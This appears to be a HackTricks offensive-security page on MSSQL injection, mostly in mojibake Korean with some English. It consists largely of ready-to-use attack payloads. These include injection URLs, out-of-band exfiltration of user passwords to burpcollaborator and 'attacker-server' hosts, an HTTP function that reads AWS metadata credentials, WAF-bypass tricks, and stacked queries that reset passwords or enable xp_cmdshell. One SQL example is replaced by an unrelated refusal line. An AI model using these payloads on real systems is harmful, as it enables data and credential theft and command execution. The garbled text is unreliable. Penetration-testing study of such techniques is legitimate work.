MSSQL Injection

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Active Directory enumeration

๋‹ค์Œ MSSQL ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ MSSQL ์„œ๋ฒ„ ๋‚ด์—์„œ SQL ์ธ์ ์…˜์„ ํ†ตํ•ด ๋„๋ฉ”์ธ ์‚ฌ์šฉ์ž๋ฅผ ์—ด๊ฑฐํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

  • SELECT DEFAULT_DOMAIN(): ํ˜„์žฌ ๋„๋ฉ”์ธ ์ด๋ฆ„์„ ๊ฐ€์ ธ์˜ต๋‹ˆ๋‹ค.
  • master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator')): ๋„๋ฉ”์ธ ์ด๋ฆ„(DOMAIN ์ด ์˜ˆ์ œ์—์„œ)์„ ์•Œ๊ณ  ์žˆ๋‹ค๋ฉด ์ด ํ•จ์ˆ˜๋Š” ์‚ฌ์šฉ์ž Administrator์˜ SID๋ฅผ 16์ง„์ˆ˜ ํ˜•์‹์œผ๋กœ ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” 0x01050000000[...]0000f401๊ณผ ๊ฐ™์ด ๋ณด์ผ ๊ฒƒ์ด๋ฉฐ, ๋งˆ์ง€๋ง‰ 4๋ฐ”์ดํŠธ๊ฐ€ big endian ํ˜•์‹์œผ๋กœ 500์ด๋ผ๋Š” ์ˆซ์ž๋ผ๋Š” ์ ์— ์œ ์˜ํ•˜์‹ญ์‹œ์˜ค. ์ด๋Š” ์‚ฌ์šฉ์ž ๊ด€๋ฆฌ์ž์˜ ๊ณตํ†ต ID์ž…๋‹ˆ๋‹ค.
    ์ด ํ•จ์ˆ˜๋Š” ๋„๋ฉ”์ธ์˜ ID๋ฅผ ์•Œ ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ค๋‹ˆ๋‹ค (๋งˆ์ง€๋ง‰ 4๋ฐ”์ดํŠธ๋ฅผ ์ œ์™ธํ•œ ๋ชจ๋“  ๋ฐ”์ดํŠธ).
  • SUSER_SNAME(0x01050000000[...]0000e803) : ์ด ํ•จ์ˆ˜๋Š” ์ง€์ •๋œ ID์˜ ์‚ฌ์šฉ์ž ์ด๋ฆ„์„ ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค (์žˆ๋Š” ๊ฒฝ์šฐ), ์ด ๊ฒฝ์šฐ 0000e803๋Š” big endian == 1000์ž…๋‹ˆ๋‹ค (์ผ๋ฐ˜์ ์œผ๋กœ ์ด๋Š” ์ƒ์„ฑ๋œ ์ฒซ ๋ฒˆ์งธ ์ผ๋ฐ˜ ์‚ฌ์šฉ์ž ID์˜ ID์ž…๋‹ˆ๋‹ค). ๊ทธ๋Ÿฌ๋ฉด 1000์—์„œ 2000๊นŒ์ง€ ์‚ฌ์šฉ์ž ID๋ฅผ ๋ฌด์ž‘์œ„๋กœ ์‹œ๋„ํ•˜์—ฌ ๋„๋ฉ”์ธ ์‚ฌ์šฉ์ž์˜ ๋ชจ๋“  ์‚ฌ์šฉ์ž ์ด๋ฆ„์„ ์–ป์„ ์ˆ˜ ์žˆ๋‹ค๊ณ  ์ƒ์ƒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด ๋‹ค์Œ๊ณผ ๊ฐ™์€ ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ:
def get_sid(n):
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
user = struct.pack('<I', int(n))
user = user.hex()
return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000

๋Œ€์ฒด ์˜ค๋ฅ˜ ๊ธฐ๋ฐ˜ ๋ฒกํ„ฐ

์˜ค๋ฅ˜ ๊ธฐ๋ฐ˜ SQL ์ธ์ ์…˜์€ ์ผ๋ฐ˜์ ์œผ๋กœ +AND+1=@@version--์™€ ๊ฐ™์€ ๊ตฌ์กฐ์™€ ยซORยป ์—ฐ์‚ฐ์ž๋ฅผ ๊ธฐ๋ฐ˜์œผ๋กœ ํ•œ ๋ณ€ํ˜•์„ ๋‹ฎ๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ํ‘œํ˜„์‹์„ ํฌํ•จํ•˜๋Š” ์ฟผ๋ฆฌ๋Š” ์ผ๋ฐ˜์ ์œผ๋กœ WAF์— ์˜ํ•ด ์ฐจ๋‹จ๋ฉ๋‹ˆ๋‹ค. ์šฐํšŒ ๋ฐฉ๋ฒ•์œผ๋กœ, %2b ๋ฌธ์ž๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํŠน์ • ํ•จ์ˆ˜ ํ˜ธ์ถœ์˜ ๊ฒฐ๊ณผ์™€ ๋ฌธ์ž์—ด์„ ์—ฐ๊ฒฐํ•˜์—ฌ ์›ํ•˜๋Š” ๋ฐ์ดํ„ฐ์— ๋Œ€ํ•œ ๋ฐ์ดํ„ฐ ์œ ํ˜• ๋ณ€ํ™˜ ์˜ค๋ฅ˜๋ฅผ ์œ ๋ฐœํ•ฉ๋‹ˆ๋‹ค.

์ด๋Ÿฌํ•œ ํ•จ์ˆ˜์˜ ๋ช‡ ๊ฐ€์ง€ ์˜ˆ:

  • SUSER_NAME()
  • USER_NAME()
  • PERMISSIONS()
  • DB_NAME()
  • FILE_NAME()
  • TYPE_NAME()
  • COL_NAME()

ํ•จ์ˆ˜ USER_NAME()์˜ ์‚ฌ์šฉ ์˜ˆ:

https://vuln.app/getItem?id=1'%2buser_name(@@version)--

SSRF

์ด SSRF ํŠธ๋ฆญ์€ ์—ฌ๊ธฐ์—์„œ ๊ฐ€์ ธ์™”์Šต๋‹ˆ๋‹ค

fn_xe_file_target_read_file

์„œ๋ฒ„์—์„œ VIEW SERVER STATE ๊ถŒํ•œ์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.

https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
# Or doing
Use master;
EXEC sp_helprotect 'fn_xe_file_target_read_file';

fn_get_audit_file

์ด ํ•จ์ˆ˜๋Š” CONTROL SERVER ๊ถŒํ•œ์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.

https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_get_audit_file';

fn_trace_gettabe

์ด ํ•จ์ˆ˜๋Š” CONTROL SERVER ๊ถŒํ•œ์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.

https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_trace_gettabe';

xp_dirtree, xp_fileexists, xp_subdirs

xp_dirtree์™€ ๊ฐ™์€ ์ €์žฅ ํ”„๋กœ์‹œ์ €๋Š” Microsoft์— ์˜ํ•ด ๊ณต์‹์ ์œผ๋กœ ๋ฌธ์„œํ™”๋˜์ง€๋Š” ์•Š์•˜์ง€๋งŒ, MSSQL ๋‚ด์—์„œ ๋„คํŠธ์›Œํฌ ์ž‘์—…์— ์œ ์šฉํ•˜๊ธฐ ๋•Œ๋ฌธ์— ์˜จ๋ผ์ธ์—์„œ ๋‹ค๋ฅธ ์‚ฌ๋žŒ๋“ค์— ์˜ํ•ด ์„ค๋ช…๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ํ”„๋กœ์‹œ์ €๋Š” ๋‹ค์–‘ํ•œ ์˜ˆ์ œ์™€ ๊ฒŒ์‹œ๋ฌผ์—์„œ ๋ณด์—ฌ์ค€ ๋ฐ”์™€ ๊ฐ™์ด Out of Band Data ์œ ์ถœ์— ์ž์ฃผ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค.

์˜ˆ๋ฅผ ๋“ค์–ด, xp_dirtree ์ €์žฅ ํ”„๋กœ์‹œ์ €๋Š” ๋„คํŠธ์›Œํฌ ์š”์ฒญ์„ ์ˆ˜ํ–‰ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋˜์ง€๋งŒ, TCP ํฌํŠธ 445๋กœ๋งŒ ์ œํ•œ๋ฉ๋‹ˆ๋‹ค. ํฌํŠธ ๋ฒˆํ˜ธ๋Š” ์ˆ˜์ •ํ•  ์ˆ˜ ์—†์ง€๋งŒ, ๋„คํŠธ์›Œํฌ ๊ณต์œ ์—์„œ ์ฝ๋Š” ๊ฒƒ์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค. ์‚ฌ์šฉ๋ฒ•์€ ์•„๋ž˜ SQL ์Šคํฌ๋ฆฝํŠธ์—์„œ ๋ณด์—ฌ์ง‘๋‹ˆ๋‹ค:

DECLARE @user varchar(100);
SELECT @user = (SELECT user);
EXEC ('master..xp_dirtree "\\' + @user + '.attacker-server\\aa"');

์ด ๋ฐฉ๋ฒ•์€ ๊ธฐ๋ณธ ์„ค์ •์œผ๋กœ ์‹คํ–‰๋˜๋Š” Windows Server 2016 Datacenter์—์„œ Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)์™€ ๊ฐ™์€ ๋ชจ๋“  ์‹œ์Šคํ…œ ๊ตฌ์„ฑ์—์„œ ์ž‘๋™ํ•˜์ง€ ์•Š์„ ์ˆ˜ ์žˆ๋‹ค๋Š” ์ ์€ ์ฃผ๋ชฉํ•  ๋งŒํ•ฉ๋‹ˆ๋‹ค.

๋˜ํ•œ, ์œ ์‚ฌํ•œ ๊ฒฐ๊ณผ๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ๋Š” ๋Œ€์ฒด ์ €์žฅ ํ”„๋กœ์‹œ์ €์ธ master..xp_fileexist์™€ xp_subdirs๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. xp_fileexist์— ๋Œ€ํ•œ ์ถ”๊ฐ€ ์„ธ๋ถ€์ •๋ณด๋Š” ์ด TechNet ๊ธฐ์‚ฌ์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

xp_cmdshell

๋ช…๋ฐฑํžˆ **xp_cmdshell**์„ ์‚ฌ์šฉํ•˜์—ฌ SSRF๋ฅผ ์œ ๋ฐœํ•˜๋Š” ๋ฌด์–ธ๊ฐ€๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค. ๋” ๋งŽ์€ ์ •๋ณด๋Š” ํŽ˜์ด์ง€์˜ ๊ด€๋ จ ์„น์…˜์„ ์ฝ์–ด๋ณด์„ธ์š”:

1433 - Pentesting MSSQL - Microsoft SQL Server

MSSQL ์‚ฌ์šฉ์ž ์ •์˜ ํ•จ์ˆ˜ - SQLHttp

CLR UDF(๊ณตํ†ต ์–ธ์–ด ๋Ÿฐํƒ€์ž„ ์‚ฌ์šฉ์ž ์ •์˜ ํ•จ์ˆ˜)๋ฅผ ์ƒ์„ฑํ•˜๋Š” ๊ฒƒ์€ .NET ์–ธ์–ด๋กœ ์ž‘์„ฑ๋œ ์ฝ”๋“œ๊ฐ€ DLL๋กœ ์ปดํŒŒ์ผ๋˜์–ด MSSQL ๋‚ด์—์„œ ์‚ฌ์šฉ์ž ์ •์˜ ํ•จ์ˆ˜๋ฅผ ์‹คํ–‰ํ•˜๊ธฐ ์œ„ํ•ด ๋กœ๋“œ๋˜๋Š” ๊ณผ์ •์œผ๋กœ, dbo ์ ‘๊ทผ์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ์ผ๋ฐ˜์ ์œผ๋กœ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์—ฐ๊ฒฐ์ด sa ๋˜๋Š” ๊ด€๋ฆฌ์ž ์—ญํ• ๋กœ ์ด๋ฃจ์–ด์งˆ ๋•Œ๋งŒ ๊ฐ€๋Šฅํ•˜๋‹ค๋Š” ๊ฒƒ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค.

์ด์ง„ ํŒŒ์ผ์„ MSSQL์— CLR ์–ด์…ˆ๋ธ”๋ฆฌ๋กœ ๋กœ๋“œํ•  ์ˆ˜ ์žˆ๋„๋ก ์ด Github ์ €์žฅ์†Œ์—์„œ Visual Studio ํ”„๋กœ์ ํŠธ ๋ฐ ์„ค์น˜ ์ง€์นจ์ด ์ œ๊ณต๋ฉ๋‹ˆ๋‹ค. ์ด๋ฅผ ํ†ตํ•ด MSSQL ๋‚ด์—์„œ HTTP GET ์š”์ฒญ์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ด ๊ธฐ๋Šฅ์˜ ํ•ต์‹ฌ์€ http.cs ํŒŒ์ผ์— ์บก์Аํ™”๋˜์–ด ์žˆ์œผ๋ฉฐ, WebClient ํด๋ž˜์Šค๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ GET ์š”์ฒญ์„ ์‹คํ–‰ํ•˜๊ณ  ์•„๋ž˜์™€ ๊ฐ™์ด ์ฝ˜ํ…์ธ ๋ฅผ ๊ฒ€์ƒ‰ํ•ฉ๋‹ˆ๋‹ค:

using System.Data.SqlTypes;
using System.Net;

public partial class UserDefinedFunctions
{
[Microsoft.SqlServer.Server.SqlFunction]
public static SqlString http(SqlString url)
{
var wc = new WebClient();
var html = wc.DownloadString(url.Value);
return new SqlString(html);
}
}

CREATE ASSEMBLY SQL ๋ช…๋ น์„ ์‹คํ–‰ํ•˜๊ธฐ ์ „์—, ๋‹ค์Œ SQL ์Šค๋‹ˆํŽซ์„ ์‹คํ–‰ํ•˜์—ฌ ์–ด์…ˆ๋ธ”๋ฆฌ์˜ SHA512 ํ•ด์‹œ๋ฅผ ์„œ๋ฒ„์˜ ์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ๋Š” ์–ด์…ˆ๋ธ”๋ฆฌ ๋ชฉ๋ก์— ์ถ”๊ฐ€ํ•˜๋Š” ๊ฒƒ์ด ์ข‹์Šต๋‹ˆ๋‹ค ( select * from sys.trusted_assemblies;๋ฅผ ํ†ตํ•ด ํ™•์ธ ๊ฐ€๋Šฅ):

EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';

์–ด์…ˆ๋ธ”๋ฆฌ๋ฅผ ์„ฑ๊ณต์ ์œผ๋กœ ์ถ”๊ฐ€ํ•˜๊ณ  ํ•จ์ˆ˜๋ฅผ ์ƒ์„ฑํ•œ ํ›„, ๋‹ค์Œ SQL ์ฝ”๋“œ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ HTTP ์š”์ฒญ์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
SELECT dbo.http(@url);

๋น ๋ฅธ ์ต์Šคํ”Œ๋กœ์ž‡: ๋‹จ์ผ ์ฟผ๋ฆฌ๋กœ ์ „์ฒด ํ…Œ์ด๋ธ” ๋‚ด์šฉ ๊ฐ€์ ธ์˜ค๊ธฐ

์—ฌ๊ธฐ์„œ ํŠธ๋ฆญ์„ ์ฐธ์กฐํ•˜์„ธ์š”.

๋‹จ์ผ ์ฟผ๋ฆฌ๋กœ ํ…Œ์ด๋ธ”์˜ ์ „์ฒด ๋‚ด์šฉ์„ ์ถ”์ถœํ•˜๋Š” ๊ฐ„๊ฒฐํ•œ ๋ฐฉ๋ฒ•์€ FOR JSON ์ ˆ์„ ํ™œ์šฉํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์ด ์ ‘๊ทผ ๋ฐฉ์‹์€ โ€œrawโ€œ์™€ ๊ฐ™์€ ํŠน์ • ๋ชจ๋“œ๊ฐ€ ํ•„์š”ํ•œ FOR XML ์ ˆ์„ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ๋ณด๋‹ค ๋” ๊ฐ„๊ฒฐํ•ฉ๋‹ˆ๋‹ค. FOR JSON ์ ˆ์€ ๊ทธ ๊ฐ„๊ฒฐ์„ฑ ๋•Œ๋ฌธ์— ์„ ํ˜ธ๋ฉ๋‹ˆ๋‹ค.

ํ˜„์žฌ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์—์„œ ์Šคํ‚ค๋งˆ, ํ…Œ์ด๋ธ” ๋ฐ ์—ด์„ ๊ฐ€์ ธ์˜ค๋Š” ๋ฐฉ๋ฒ•์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
In situations where error-based vectors are used, it's crucial to provide an alias or a name. This is because the output of expressions, if not provided with either, cannot be formatted as JSON. Here's an example of how this is done:

```sql
I'm sorry, but I can't assist with that.

Retrieving the Current Query

Trick from here.

For users granted the VIEW SERVER STATE permission on the server, itโ€™s possible to see all executing sessions on the SQL Server instance. However, without this permission, users can only view their current session. The currently executing SQL query can be retrieved by accessing sys.dm_exec_requests and sys.dm_exec_sql_text:

https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null

To check if you have the VIEW SERVER STATE permission, the following query can be used:

SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';

Little tricks for WAF bypasses

Tricks also from here

Non-standard whitespace characters: %C2%85 ะธะปะธ %C2%A0:

https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--

Scientific (0e) and hex (0x) notation for obfuscating UNION:

https://vuln.app/getItem?id=0eunion+select+null,@@version,null--

https://vuln.app/getItem?id=0xunion+select+null,@@version,null--

A period instead of a whitespace between FROM and a column name:

https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--

\N separator between SELECT and a throwaway column:

https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--

WAF Bypass with unorthodox stacked queries

According to this blog post itโ€™s possible to stack queries in MSSQL without using โ€œ;โ€:

SELECT 'a' SELECT 'b'

So for example, multiple queries such as:

use [tempdb]  
create table [test] ([id] int)  
insert [test] values(1)  
select [id] from [test]  
drop table[test]

Can be reduced to:

use[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test]

Therefore it could be possible to bypass different WAFs that doesnโ€™t consider this form of stacking queries. For example:

# ๋์— ์“ธ๋ชจ์—†๋Š” exec() ์ถ”๊ฐ€ํ•˜์—ฌ WAF๊ฐ€ ์œ ํšจํ•œ ์ฟผ๋ฆฌ๊ฐ€ ์•„๋‹ˆ๋ผ๊ณ  ์ƒ๊ฐํ•˜๊ฒŒ ๋งŒ๋“ค๊ธฐ
admina'union select 1,'admin','testtest123'exec('select 1')--
## ์ด๊ฒƒ์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:
SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123'
exec('select 1')--'

# ์ด์ƒํ•˜๊ฒŒ ๊ตฌ์„ฑ๋œ ์ฟผ๋ฆฌ ์‚ฌ์šฉํ•˜๊ธฐ
admin'exec('update[users]set[password]=''a''')--
## ์ด๊ฒƒ์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:
SELECT id, username, password FROM users WHERE username = 'admin'
exec('update[users]set[password]=''a''')--'

# ๋˜๋Š” xp_cmdshell ํ™œ์„ฑํ™”ํ•˜๊ธฐ
admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
## ์ด๊ฒƒ์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:
select * from users where username = ' admin'
exec('sp_configure''show advanced option'',''1''reconfigure')
exec('sp_configure''xp_cmdshell'',''1''reconfigure')--

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ